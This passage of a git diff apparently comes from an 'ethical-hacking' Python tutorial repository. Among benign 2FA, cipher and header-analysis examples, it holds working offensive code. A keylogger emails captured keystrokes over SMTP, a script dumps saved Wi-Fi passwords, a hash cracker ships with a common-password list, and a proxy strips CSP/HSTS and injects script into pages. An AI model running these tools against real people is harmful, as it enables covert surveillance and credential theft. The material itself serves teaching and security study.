on Windows""" + #print(f"{profile.ssid:25}{profile.ciphers:15}{profile.key:50}") + print(f"{profile.ssid:25}{profile.security:30}{profile.ciphers:35}{profile.key:50}") + + +def print_windows_profiles(verbose): + """Prints all extracted SSIDs along with Key on Windows""" + print("SSID Securities CIPHER(S) KEY") + print("-"*50) + get_windows_saved_wifi_passwords(verbose) + + +def get_linux_saved_wifi_passwords(verbose=1): + """Extracts saved Wi-Fi passwords saved in a Linux machine, this function extracts data in the + `/etc/NetworkManager/system-connections/` directory + Args: + verbose (int, optional): whether to print saved profiles real-time. Defaults to 1. + Returns: + [list]: list of extracted profiles, a profile has the fields ["ssid", "auth-alg", "key-mgmt", "psk"] + """ + network_connections_path = "/etc/NetworkManager/system-connections/" + fields = ["ssid", "auth-alg", "key-mgmt", "psk"] + Profile = namedtuple("Profile", [f.replace("-", "_") for f in fields]) + profiles = [] + for file in os.listdir(network_connections_path): + data = { k.replace("-", "_"): None for k in fields } + config = configparser.ConfigParser() + config.read(os.path.join(network_connections_path, file)) + for _, section in config.items(): + for k, v in section.items(): + if k in fields: + data[k.replace("-", "_")] = v + profile = Profile(**data) + if verbose >= 1: + print_linux_profile(profile) + profiles.append(profile) + return profiles + + +def print_linux_profile(profile): + """Prints a single profile on Linux""" + print(f"{str(profile.ssid):25}{str(profile.auth_alg):5}{str(profile.key_mgmt):10}{str(profile.psk):50}") + + +def print_linux_profiles(verbose): + """Prints all extracted SSIDs along with Key (PSK) on Linux""" + print("SSID AUTH KEY-MGMT PSK") + print("-"*50) + get_linux_saved_wifi_passwords(verbose) + + +def print_profiles(verbose=1): + if os.name == "nt": + print_windows_profiles(verbose) + elif os.name == "posix": + print_linux_profiles(verbose) + else: + raise NotImplemented("Code only works for either Linux or Windows") + + +if __name__ == "__main__": + print_profiles() \ No newline at end of file diff --git a/ethical-hacking/hash-cracker/README.md b/ethical-hacking/hash-cracker/README.md new file mode 100644 index 00000000..7f59fab6 --- /dev/null +++ b/ethical-hacking/hash-cracker/README.md @@ -0,0 +1,14 @@ +# [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python) +To run this: +- `pip install -r requirements.txt` +- Get usage: `python crack_hashes.py --help` +- Crack a SHA-256 hash using `wordlist.txt`: + ```bash + $ python crack_hashes.py 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090 wordlist.txt --hash-type sha256 + ``` + **Output:** + ``` + [*] Cracking hash 6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090 using sha256 with a list of 14344394 words. + Cracking hash: 96%|███████████████████████████████████████████████████████████████████████████████████████████▉ | 13735317/14344394 [00:20<00:00, 664400.58it/s] + [+] Found password: abc123 + ``` \ No newline at end of file diff --git a/ethical-hacking/hash-cracker/crack_hashes.py b/ethical-hacking/hash-cracker/crack_hashes.py new file mode 100644 index 00000000..5e98db51 --- /dev/null +++ b/ethical-hacking/hash-cracker/crack_hashes.py @@ -0,0 +1,53 @@ +import hashlib +from tqdm import tqdm + +# List of supported hash types +hash_names = [ + 'blake2b', + 'blake2s', + 'md5', + 'sha1', + 'sha224', + 'sha256', + 'sha384', + 'sha3_224', + 'sha3_256', + 'sha3_384', + 'sha3_512', + 'sha512', +] + +def crack_hash(hash, wordlist, hash_type=None): + """Crack a hash using a wordlist. + + Args: + hash (str): The hash to crack. + wordlist (str): The path to the wordlist. + + Returns: + str: The cracked hash. + """ + hash_fn = getattr(hashlib, hash_type, None) + if hash_fn is None or hash_type not in hash_names: + # not supported hash type + raise ValueError(f'[!] Invalid hash type: {hash_type}, supported are {hash_names}') + # Count the number of lines in the wordlist to set the total + total_lines = sum(1 for line in open(wordlist, 'r')) + print(f"[*] Cracking hash {hash} using {hash_type} with a list of {total_lines} words.") + # open the wordlist + with open(wordlist, 'r') as f: + # iterate over each line + for line in tqdm(f, desc='Cracking hash', total=total_lines): + if hash_fn(line.strip().encode()).hexdigest() == hash: + return line + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description='Crack a hash using a wordlist.') + parser.add_argument('hash', help='The hash to crack.') + parser.add_argument('wordlist', help='The path to the wordlist.') + parser.add_argument('--hash-type', help='The hash type to use.', default='md5') + args = parser.parse_args() + print() + print("[+] Found password:", crack_hash(args.hash, args.wordlist, args.hash_type)) diff --git a/ethical-hacking/hash-cracker/requirements.txt b/ethical-hacking/hash-cracker/requirements.txt new file mode 100644 index 00000000..fa9cf064 --- /dev/null +++ b/ethical-hacking/hash-cracker/requirements.txt @@ -0,0 +1 @@ +tqdm \ No newline at end of file diff --git a/ethical-hacking/hash-cracker/wordlist.txt b/ethical-hacking/hash-cracker/wordlist.txt new file mode 100644 index 00000000..554c961b --- /dev/null +++ b/ethical-hacking/hash-cracker/wordlist.txt @@ -0,0 +1,5000 @@ +123456 +12345 +123456789 +password +iloveyou +princess +12345678 +1234567 +nicole +daniel +monkey +babygirl +qwerty +lovely +654321 +michael +jessica +111111 +ashley +000000 +iloveu +michelle +tigger +sunshine +chocolate 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+123456b +jimmie +westwood +#1bitch +rockandroll +slamdunk +brenda1 +michell +lalaland +hellohello +edith +fiona +gogirl +derick +atlantis +TIGGER +sirenita +love33 +phillips +bollocks +quiksilver +keepout +ihateyou1 +salman +daryl +playboy69 +leavemealone +iloveluke +44444444 +oxford +darkstar +consuelo +camilita +MIGUEL +limpbizkit +privacy +petewentz +sonic +inferno +gusanito +golfer +jayjay1 +princess01 +parrot +ducky +rasmus +inlove1 +kookie +biteme1 +karen1 +fernandes +zipper +smoking +brujita +toledo +abcdef12345 \ No newline at end of file diff --git a/ethical-hacking/http-mitm-proxy/README.md b/ethical-hacking/http-mitm-proxy/README.md new file mode 100644 index 00000000..e465edbc --- /dev/null +++ b/ethical-hacking/http-mitm-proxy/README.md @@ -0,0 +1,11 @@ +# [How to Make an HTTP Proxy in Python](https://www.thepythoncode.com/article/writing-http-proxy-in-python-with-mitmproxy) +To run this: +- Install [mitmproxy](https://mitmproxy.org/). +- Run the following command: + ``` + $ mitmproxy --ignore '^(?!duckduckgo\.com)' -s proxy.py + ``` +- Test your proxy via configuring your browser or tools such as iptables (check [the tutorial](https://www.thepythoncode.com/article/writing-http-proxy-in-python-with-mitmproxy) for more info), or you can test it out with `curl`: + ``` + $ curl -x http://127.0.0.1:8080/ -k https://duckduckgo.com/ + ``` \ No newline at end of file diff --git a/ethical-hacking/http-mitm-proxy/proxy.py b/ethical-hacking/http-mitm-proxy/proxy.py new file mode 100644 index 00000000..8b2db0b9 --- /dev/null +++ b/ethical-hacking/http-mitm-proxy/proxy.py @@ -0,0 +1,19 @@ +OVERLAY_HTML = b"" +OVERLAY_JS = b"" + +def remove_header(response, header_name): + if header_name in response.headers: + del response.headers[header_name] + + +def response(flow): + # remove security headers in case they're present + remove_header(flow.response, "Content-Security-Policy") + remove_header(flow.response, "Strict-Transport-Security") + # if content-type type isn't available, ignore + if "content-type" not in flow.response.headers: + return + # if it's HTML & response code is 200 OK, then inject the overlay snippet (HTML & JS) + if "text/html" in flow.response.headers["content-type"] and flow.response.status_code == 200: + flow.response.content += OVERLAY_HTML + flow.response.content += OVERLAY_JS \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/README.md b/ethical-hacking/http-security-headers/README.md new file mode 100644 index 00000000..e0e7b1d0 --- /dev/null +++ b/ethical-hacking/http-security-headers/README.md @@ -0,0 +1,2 @@ +Grab your API key from Open Router:- https://openrouter.ai/ +Model is Used is DeepSeek: DeepSeek V3.1 (free). However, feel free to try others. \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/http_security_headers.py b/ethical-hacking/http-security-headers/http_security_headers.py new file mode 100644 index 00000000..67b494c4 --- /dev/null +++ b/ethical-hacking/http-security-headers/http_security_headers.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +import requests +import json +import os +import argparse +from typing import Dict, List, Tuple +from openai import OpenAI + +class SecurityHeadersAnalyzer: + def __init__(self, api_key: str = None, base_url: str = None, model: str = None): + self.api_key = api_key or os.getenv('OPENROUTER_API_KEY') or os.getenv('OPENAI_API_KEY') + self.base_url = base_url or os.getenv('OPENROUTER_BASE_URL', 'https://openrouter.ai/api/v1') + self.model = model or os.getenv('LLM_MODEL', 'deepseek/deepseek-chat-v3.1:free') + + if not self.api_key: + raise ValueError("API key is required. Set OPENROUTER_API_KEY or provide --api-key") + + self.client = OpenAI(base_url=self.base_url, api_key=self.api_key) + + def fetch_headers(self, url: str, timeout: int = 10) -> Tuple[Dict[str, str], int]: + """Fetch HTTP headers from URL""" + if not url.startswith(('http://', 'https://')): + url = 'https://' + url + + try: + response = requests.get(url, timeout=timeout, allow_redirects=True) + return dict(response.headers), response.status_code + except requests.exceptions.RequestException as e: + print(f"Error fetching {url}: {e}") + return {}, 0 + + def analyze_headers(self, url: str, headers: Dict[str, str], status_code: int) -> str: + """Analyze headers using LLM""" + prompt = f"""Analyze the HTTP security headers for {url} (Status: {status_code}) + +Headers: +{json.dumps(headers, indent=2)} + +Provide a comprehensive security analysis including: +1. Security score (0-100) and overall assessment +2. Critical security issues that need immediate attention +3. Missing important security headers +4. Analysis of existing security headers and their effectiveness +5. Specific recommendations for improvement +6. Potential security risks based on current configuration + +Focus on practical, actionable advice following current web security best practices. Please do not include ** and # +in the response except for specific references where necessary. use numbers, romans, alphabets instead Format the response well please. """ + + try: + completion = self.client.chat.completions.create( + model=self.model, + messages=[{"role": "user", "content": prompt}], + temperature=0.2 + ) + return completion.choices[0].message.content + except Exception as e: + return f"Analysis failed: {e}" + + def analyze_url(https://github.com/self,%20url:%20str,%20timeout:%20int%20=%2010) -> Dict: + """Analyze a single URL""" + print(f"\nAnalyzing: {url}") + print("-" * 50) + + headers, status_code = self.fetch_headers(url, timeout) + if not headers: + return {"url": url, "error": "Failed to fetch headers"} + + print(f"Status Code: {status_code}") + print(f"\nHTTP Headers ({len(headers)} found):") + print("-" * 30) + for key, value in headers.items(): + print(f"{key}: {value}") + + print(f"\nAnalyzing with AI...") + analysis = self.analyze_headers(url, headers, status_code) + + print("\nSECURITY ANALYSIS") + print("=" * 50) + print(analysis) + + return { + "url": url, + "status_code": status_code, + "headers_count": len(headers), + "analysis": analysis, + "raw_headers": headers + } + + def analyze_multiple_urls(self, urls: List[str], timeout: int = 10) -> List[Dict]: + """Analyze multiple URLs""" + results = [] + for i, url in enumerate(urls, 1): + print(f"\n[{i}/{len(urls)}]") + result = self.analyze_url(https://github.com/url,%20timeout) + results.append(result) + return results + + def export_results(self, results: List[Dict], filename: str): + """Export results to JSON""" + with open(filename, 'w') as f: + json.dump(results, f, indent=2, ensure_ascii=False) + print(f"\nResults exported to: {filename}") + +def main(): + parser = argparse.ArgumentParser( + description='Analyze HTTP security headers using AI', + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog='''Examples: + python security_headers.py https://example.com + python security_headers.py example.com google.com + python security_headers.py example.com --export results.json + +Environment Variables: + OPENROUTER_API_KEY - API key for OpenRouter + OPENAI_API_KEY - API key for OpenAI + LLM_MODEL - Model to use (default: deepseek/deepseek-chat-v3.1:free)''' + ) + + parser.add_argument('urls', nargs='+', help='URLs to analyze') + parser.add_argument('--api-key', help='API key for LLM service') + parser.add_argument('--base-url', help='Base URL for LLM API') + parser.add_argument('--model', help='LLM model to use') + parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10s)') + parser.add_argument('--export', help='Export results to JSON file') + + args = parser.parse_args() + + try: + analyzer = SecurityHeadersAnalyzer( + api_key=args.api_key, + base_url=args.base_url, + model=args.model + ) + + results = analyzer.analyze_multiple_urls(args.urls, args.timeout) + + if args.export: + analyzer.export_results(results, args.export) + + except ValueError as e: + print(f"Error: {e}") + return 1 + except KeyboardInterrupt: + print("\nAnalysis interrupted by user") + return 1 + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/requirements.txt b/ethical-hacking/http-security-headers/requirements.txt new file mode 100644 index 00000000..f0dd0aec --- /dev/null +++ b/ethical-hacking/http-security-headers/requirements.txt @@ -0,0 +1 @@ +openai \ No newline at end of file diff --git a/ethical-hacking/image-metadata-extractor/image_metadata_extractor.py b/ethical-hacking/image-metadata-extractor/image_metadata_extractor.py index 9cb1cb31..a976b95a 100644 --- a/ethical-hacking/image-metadata-extractor/image_metadata_extractor.py +++ b/ethical-hacking/image-metadata-extractor/image_metadata_extractor.py @@ -8,6 +8,21 @@ # read the image data using PIL image = Image.open(imagename) +# extract other basic metadata +info_dict = { + "Filename": image.filename, + "Image Size": image.size, + "Image Height": image.height, + "Image Width": image.width, + "Image Format": image.format, + "Image Mode": image.mode, + "Image is Animated": getattr(image, "is_animated", False), + "Frames in Image": getattr(image, "n_frames", 1) +} + +for label,value in info_dict.items(): + print(f"{label:25}: {value}") + # extract EXIF data exifdata = image.getexif() @@ -19,4 +34,5 @@ # decode bytes if isinstance(data, bytes): data = data.decode() - print(f"{tag:25}: {data}") \ No newline at end of file + print(f"{tag:25}: {data}") + \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/README.md b/ethical-hacking/implement-2fa/README.md new file mode 100644 index 00000000..8bbdbaec --- /dev/null +++ b/ethical-hacking/implement-2fa/README.md @@ -0,0 +1 @@ +# [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/hotp.py b/ethical-hacking/implement-2fa/hotp.py new file mode 100644 index 00000000..78cd60bd --- /dev/null +++ b/ethical-hacking/implement-2fa/hotp.py @@ -0,0 +1,19 @@ +import pyotp + +# Set the key. A variable this time +key = 'Muhammad' +# Make a HMAC-based OTP +hotp = pyotp.HOTP(key) + +# Print results +print(hotp.at(0)) +print(hotp.at(1)) +print(hotp.at(2)) +print(hotp.at(3)) + +# Set counter +counter = 0 +for otp in range(4): + print(hotp.verify(input("Enter Code: "), counter)) + counter += 1 + diff --git a/ethical-hacking/implement-2fa/otp_qrcode_and_key.py b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py new file mode 100644 index 00000000..f98c35f2 --- /dev/null +++ b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py @@ -0,0 +1,27 @@ +# Program 1: Generate and Save TOTP Key and QR Code +import pyotp +import qrcode + + +def generate_otp_key(): + # Generate a random key for TOTP authentication. + return pyotp.random_base32() + + +def generate_qr_code(key, account_name, issuer_name): + # Generate a QR code for TOTP authentication. + uri = pyotp.totp.TOTP(key).provisioning_uri(name=account_name, issuer_name=issuer_name) + img = qrcode.make(uri) + img.save('totp_qr.png') + print("QR Code generated and saved as 'totp_qr.png'.") + + +# Main code. +# Generate user key. +user_key = generate_otp_key() +print("Your Two-Factor Authentication Key:", user_key) +# Save key to a file for reference purposes +with open('2fa.txt', 'w') as f: + f.write(user_key) +# Generate QR Code. +generate_qr_code(user_key, 'Muhammad', 'CodingFleet.com') diff --git a/ethical-hacking/implement-2fa/otp_verification.py b/ethical-hacking/implement-2fa/otp_verification.py new file mode 100644 index 00000000..03c1b51c --- /dev/null +++ b/ethical-hacking/implement-2fa/otp_verification.py @@ -0,0 +1,19 @@ +# Program 2: Verify TOTP Code with Google Authenticator +import pyotp + + +def simulate_authentication(key): + # Simulate the process of authenticating with a TOTP code. + totp = pyotp.TOTP(key) + print("Enter the code from your Google Authenticator app to complete authentication.") + user_input = input("Enter Code: ") + if totp.verify(user_input): + print("Authentication successful!") + else: + print("Authentication failed. Please try again with the right key.") + + +# Main Code +# The key should be the same one generated and used to create the QR code in Program 1 +user_key = open("2fa.txt").read() # Reading the key from the file generated in Program 1 (otp_qrcode_and_key.py) +simulate_authentication(user_key) diff --git a/ethical-hacking/implement-2fa/requirements.txt b/ethical-hacking/implement-2fa/requirements.txt new file mode 100644 index 00000000..3026cbce --- /dev/null +++ b/ethical-hacking/implement-2fa/requirements.txt @@ -0,0 +1,2 @@ +pyotp +qrcode \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/totp.py b/ethical-hacking/implement-2fa/totp.py new file mode 100644 index 00000000..f67304db --- /dev/null +++ b/ethical-hacking/implement-2fa/totp.py @@ -0,0 +1,14 @@ +import pyotp + +# Generate a random key. You can also set to a variable e.g key = "CodingFleet" +key = pyotp.random_base32() +# Make Time based OTPs from the key. +totp = pyotp.TOTP(key) + +# Print current key. +print(totp.now()) + +# Enter OTP for verification +input_code = input("Enter your OTP:") +# Verify OTP +print(totp.verify(input_code)) \ No newline at end of file diff --git a/ethical-hacking/implement-affine-cipher/README.md b/ethical-hacking/implement-affine-cipher/README.md new file mode 100644 index 00000000..bdf8ac39 --- /dev/null +++ b/ethical-hacking/implement-affine-cipher/README.md @@ -0,0 +1 @@ +# [How to Implement the Affine Cipher in Python](https://thepythoncode.com/article/how-to-implement-affine-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-affine-cipher/affine_cipher.py b/ethical-hacking/implement-affine-cipher/affine_cipher.py new file mode 100644 index 00000000..3d2c904a --- /dev/null +++ b/ethical-hacking/implement-affine-cipher/affine_cipher.py @@ -0,0 +1,47 @@ +# Import necessary libraries. +import string +from colorama import init, Fore + +# Initialise colorama. +init() + + +# Function to perform Affine Cipher encryption. +def affine_encryption(plaintext, a, b): + # Define the uppercase alphabet. + alphabet = string.ascii_uppercase + # Get the length of the alphabet + m = len(alphabet) + # Initialize an empty string to store the ciphertext. + ciphertext = '' + + # Iterate through each character in the plaintext. + for char in plaintext: + # Check if the character is in the alphabet. + if char in alphabet: + # If it's an alphabet letter, encrypt it. + # Find the index of the character in the alphabet. + p = alphabet.index(char) + # Apply the encryption formula: (a * p + b) mod m. + c = (a * p + b) % m + # Append the encrypted character to the ciphertext. + ciphertext += alphabet[c] + else: + # If the character is not in the alphabet, keep it unchanged. + ciphertext += char + + # Return the encrypted ciphertext. + return ciphertext + + +# Define the plaintext and key components. +plaintext = input(f"{Fore.GREEN}[?] Enter text to encrypt: ") +a = 3 +b = 10 + +# Call the affine_encrypt function with the specified parameters. +encrypted_text = affine_encryption(plaintext, a, b) + +# Print the original plaintext, the key components, and the encrypted text. +print(f"{Fore.MAGENTA}[+] Plaintext: {plaintext}") +print(f"{Fore.GREEN}[+] Encrypted Text: {encrypted_text}") diff --git a/ethical-hacking/implement-affine-cipher/requirements.txt b/ethical-hacking/implement-affine-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/implement-affine-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/implement-vigenere-cipher/README.md b/ethical-hacking/implement-vigenere-cipher/README.md new file mode 100644 index 00000000..16a5b7bd --- /dev/null +++ b/ethical-hacking/implement-vigenere-cipher/README.md @@ -0,0 +1 @@ +# [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-vigenere-cipher/requirements.txt b/ethical-hacking/implement-vigenere-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/implement-vigenere-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py b/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py new file mode 100644 index 00000000..52eef5da --- /dev/null +++ b/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py @@ -0,0 +1,88 @@ +# Import sys for system operations and colorama for colored output. +import sys +from colorama import init, Fore + +# Initialise colorama +init() + + +# Function to Encrypt using the Vigenère cipher. +def vigenere_encrypt(plain_text, key): + encrypted_text = '' + + # Repeat the key to match the length of the plaintext. + key_repeated = (key * (len(plain_text) // len(key))) + key[:len(plain_text) % len(key)] + + # Iterate through each character in the plaintext. + for i in range(len(plain_text)): + # Check if the character is an alphabet letter. + if plain_text[i].isalpha(): + # Calculate the shift based on the corresponding key letter. + shift = ord(key_repeated[i].upper()) - ord('A') + + # Encrypt uppercase and lowercase letters separately. + if plain_text[i].isupper(): + encrypted_text += chr((ord(plain_text[i]) + shift - ord('A')) % 26 + ord('A')) + else: + encrypted_text += chr((ord(plain_text[i]) + shift - ord('a')) % 26 + ord('a')) + else: + # If the character is not an alphabet letter, keep it unchanged. + encrypted_text += plain_text[i] + + # Return the final encrypted text + return encrypted_text + + +# Decryption function for the Vigenère cipher +def vigenere_decrypt(cipher_text, key): + decrypted_text = '' + + # Repeat the key to match the length of the ciphertext + key_repeated = (key * (len(cipher_text) // len(key))) + key[:len(cipher_text) % len(key)] + + # Iterate through each character in the ciphertext + for i in range(len(cipher_text)): + # Check if the character is an alphabet letter + if cipher_text[i].isalpha(): + # Calculate the shift based on the corresponding key letter + shift = ord(key_repeated[i].upper()) - ord('A') + + # Decrypt uppercase and lowercase letters separately + if cipher_text[i].isupper(): + decrypted_text += chr((ord(cipher_text[i]) - shift - ord('A')) % 26 + ord('A')) + else: + decrypted_text += chr((ord(cipher_text[i]) - shift - ord('a')) % 26 + ord('a')) + else: + # If the character is not an alphabet letter, keep it unchanged + decrypted_text += cipher_text[i] + + # Return the final decrypted text + return decrypted_text + + +key = "KEY" +# Get user input (Message to encrypt). +plaintext = input('[!] Enter your message: ') + +# Encrypt the plaintext using the Vigenère cipher +cipher_text = vigenere_encrypt(plaintext, key) + +# Print the results +print(f"[+] Plaintext: {plaintext}") +print(f"{Fore.GREEN}[+] Ciphertext: {cipher_text}") + +# Ask if user wants to decrypt the message (just to see the functionality.) +ask_to_decrypt = input('\n\n[?] Do you want to decrypt the message?\n[?] Y or N: ').lower() + +# If user wants to. +if ask_to_decrypt == 'y': + # Decrypt the ciphertext back to the original plaintext. + decrypted_text = vigenere_decrypt(cipher_text, key) + print(f"{Fore.GREEN}[+] Decrypted text: {decrypted_text}") + +# If user does not want to. +elif ask_to_decrypt == 'n': + sys.exit() +# When an invalid input is entered. +else: + print(f"{Fore.RED}[-] Invalid input.") diff --git a/ethical-hacking/keylogger/README.md b/ethical-hacking/keylogger/README.md index 559cdbc0..0b15daa6 100644 --- a/ethical-hacking/keylogger/README.md +++ b/ethical-hacking/keylogger/README.md @@ -1,4 +1,4 @@ # [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python) To run this: - `pip3 install -r requirements.txt` -- Fresh Gmail Account, check this [tutorial](https://www.thepythoncode.com/article/write-a-keylogger-python) to set it up. \ No newline at end of file +- Get a fresh Gmail Account, check this [tutorial](https://www.thepythoncode.com/article/write-a-keylogger-python) to set it up. \ No newline at end of file diff --git a/ethical-hacking/keylogger/keylogger.py b/ethical-hacking/keylogger/keylogger.py index 7ac6fa61..fa815f12 100644 --- a/ethical-hacking/keylogger/keylogger.py +++ b/ethical-hacking/keylogger/keylogger.py @@ -1,22 +1,26 @@ import keyboard # for keylogs import smtplib # for sending email using SMTP protocol (gmail) -# Semaphore is for blocking the current thread # Timer is to make a method runs after an `interval` amount of time -from threading import Semaphore, Timer +from threading import Timer +from datetime import datetime +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText -SEND_REPORT_EVERY = 600 # 10 minutes -EMAIL_ADDRESS = "put_real_address_here@gmail.com" -EMAIL_PASSWORD = "put_real_pw" +SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on +EMAIL_ADDRESS = "email@provider.tld" +EMAIL_PASSWORD = "password_here" class Keylogger: - def __init__(self, interval): + def __init__(self, interval, report_method="email"): # we gonna pass SEND_REPORT_EVERY to interval self.interval = interval + self.report_method = report_method # this is the string variable that contains the log of all # the keystrokes within `self.interval` self.log = "" - # for blocking after setting the on_release listener - self.semaphore = Semaphore(0) + # record start & end datetimes + self.start_dt = datetime.now() + self.end_dt = datetime.now() def callback(self, event): """ @@ -39,20 +43,55 @@ def callback(self, event): # replace spaces with underscores name = name.replace(" ", "_") name = f"[{name.upper()}]" - + # finally, add the key name to our global `self.log` variable self.log += name - def sendmail(self, email, password, message): + def update_filename(self): + # construct the filename to be identified by start & end datetimes + start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") + end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") + self.filename = f"keylog-{start_dt_str}_{end_dt_str}" + + def report_to_file(self): + """This method creates a log file in the current directory that contains + the current keylogs in the `self.log` variable""" + # open the file in write mode (create it) + with open(f"{self.filename}.txt", "w") as f: + # write the keylogs to the file + print(self.log, file=f) + print(f"[+] Saved {self.filename}.txt") + + def prepare_mail(self, message): + """Utility function to construct a MIMEMultipart from a text + It creates an HTML version as well as text version + to be sent as an email""" + msg = MIMEMultipart("alternative") + msg["From"] = EMAIL_ADDRESS + msg["To"] = EMAIL_ADDRESS + msg["Subject"] = "Keylogger logs" + # simple paragraph, feel free to edit + html = f"

{message}

" + text_part = MIMEText(message, "plain") + html_part = MIMEText(html, "html") + msg.attach(text_part) + msg.attach(html_part) + # after making the mail, convert back as string message + return msg.as_string() + + def sendmail(self, email, password, message, verbose=1): # manages a connection to an SMTP server - server = smtplib.SMTP(host="smtp.gmail.com", port=587) + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + server = smtplib.SMTP(host="smtp.office365.com", port=587) # connect to the SMTP server as TLS mode ( for security ) server.starttls() # login to the email account server.login(email, password) - # send the actual message - server.sendmail(email, email, message) + # send the actual message after preparation + server.sendmail(email, email, self.prepare_mail(message)) # terminates the session server.quit() + if verbose: + print(f"{datetime.now()} - Sent an email to {email} containing: {message}") def report(self): """ @@ -61,24 +100,40 @@ def report(self): """ if self.log: # if there is something in log, report it - self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) - # can print to a file, whatever you want - # print(self.log) + self.end_dt = datetime.now() + # update `self.filename` + self.update_filename() + if self.report_method == "email": + self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) + elif self.report_method == "file": + self.report_to_file() + # if you don't want to print in the console, comment below line + print(f"[{self.filename}] - {self.log}") + self.start_dt = datetime.now() self.log = "" - Timer(interval=self.interval, function=self.report).start() + timer = Timer(interval=self.interval, function=self.report) + # set the thread as daemon (dies when main thread die) + timer.daemon = True + # start the timer + timer.start() def start(self): + # record the start datetime + self.start_dt = datetime.now() # start the keylogger keyboard.on_release(callback=self.callback) # start reporting the keylogs self.report() - # block the current thread, - # since on_release() doesn't block the current thread - # if we don't block it, when we execute the program, nothing will happen - # that is because on_release() will start the listener in a separate thread - self.semaphore.acquire() + # make a simple message + print(f"{datetime.now()} - Started keylogger") + # block the current thread, wait until CTRL+C is pressed + keyboard.wait() if __name__ == "__main__": - keylogger = Keylogger(interval=SEND_REPORT_EVERY) + # if you want a keylogger to send to your email + # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") + # if you want a keylogger to record keylogs to a local file + # (and then send it using your favorite method) + keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start() \ No newline at end of file diff --git a/ethical-hacking/listing-wifi-networks/README.md b/ethical-hacking/listing-wifi-networks/README.md new file mode 100644 index 00000000..3e9d37a5 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/README.md @@ -0,0 +1 @@ +# [How to List Wi-Fi Networks in Python](https://thepythoncode.com/article/list-nearby-wifi-networks-with-python) \ No newline at end of file diff --git a/ethical-hacking/listing-wifi-networks/open_networks_lister.py b/ethical-hacking/listing-wifi-networks/open_networks_lister.py new file mode 100644 index 00000000..7b089fb8 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/open_networks_lister.py @@ -0,0 +1,88 @@ +import subprocess, platform, re +from colorama import init, Fore + +init() + + +def list_open_networks(): + # Get the name of the operating system. + os_name = platform.system() + + # Check if the OS is Windows. + if os_name == "Windows": + # Command to list Wi-Fi networks on Windows. + list_networks_command = 'netsh wlan show networks' + try: + # Execute the command and capture the output. + output = subprocess.check_output(list_networks_command, shell=True, text=True) + networks = [] + + # Parse the output to find open Wi-Fi networks. + for line in output.splitlines(): + if "SSID" in line: + # Extract the SSID (Wi-Fi network name). + ssid = line.split(":")[1].strip() + elif "Authentication" in line and "Open" in line: + # Check if the Wi-Fi network has open authentication. + networks.append(ssid) + + # Check if any open networks were found. + if len(networks) > 0: + # Print a message for open networks with colored output. + print(f'{Fore.LIGHTMAGENTA_EX}[+] Open Wifi networks in range: \n') + for each_network in networks: + print(f"{Fore.GREEN}[+] {each_network}") + else: + # Print a message if no open networks were found. + print(f"{Fore.RED}[-] No open wifi networks in range") + + except subprocess.CalledProcessError as e: + # Handle any errors that occur during the execution of the command. + print(f"{Fore.RED}Error: {e}") + # Return an empty list to indicate that no networks were found. + return [] + + elif os_name == "Linux": + try: + # Run nmcli to list available Wi-Fi networks. + result = subprocess.run(["nmcli", "--fields", "SECURITY,SSID", "device", "wifi", "list"], + stdout=subprocess.PIPE, + text=True, check=True) + + # Access the captured stdout. + output = result.stdout.strip() + + # Define a regex pattern to capture SSID and Security. + pattern = re.compile(r'^(?P[^\s]+)\s+(?P.+)$', re.MULTILINE) + + # Find all matches in the output. + matches = pattern.finditer(output) + + # Skip the first match, which is the header. + next(matches, None) + print(f"{Fore.LIGHTMAGENTA_EX}[+] Open Wifi networks in range: \n") + # Loop through all matches (results) + for match in matches: + security = match.group('security') + ssid = match.group('ssid') + full_match = f"{Fore.GREEN}[+] SSID: {ssid} -------> Security: {security}" + # Check if the indicator of an open network in our Full match (result). + if "Security: --" in full_match: + print(f"{Fore.GREEN}[+] {ssid}") + else: + print(f"{Fore.RED}[-] No open Wifi networks in range.") + + except subprocess.CalledProcessError as e: + print(f"Error running nmcli: {e}") + except Exception as e: + print(f"An error occurred: {e}") + + else: + print(f"{Fore.RED}Unsupported operating system.") + return [] + + +# Call the function. +list_open_networks() + + diff --git 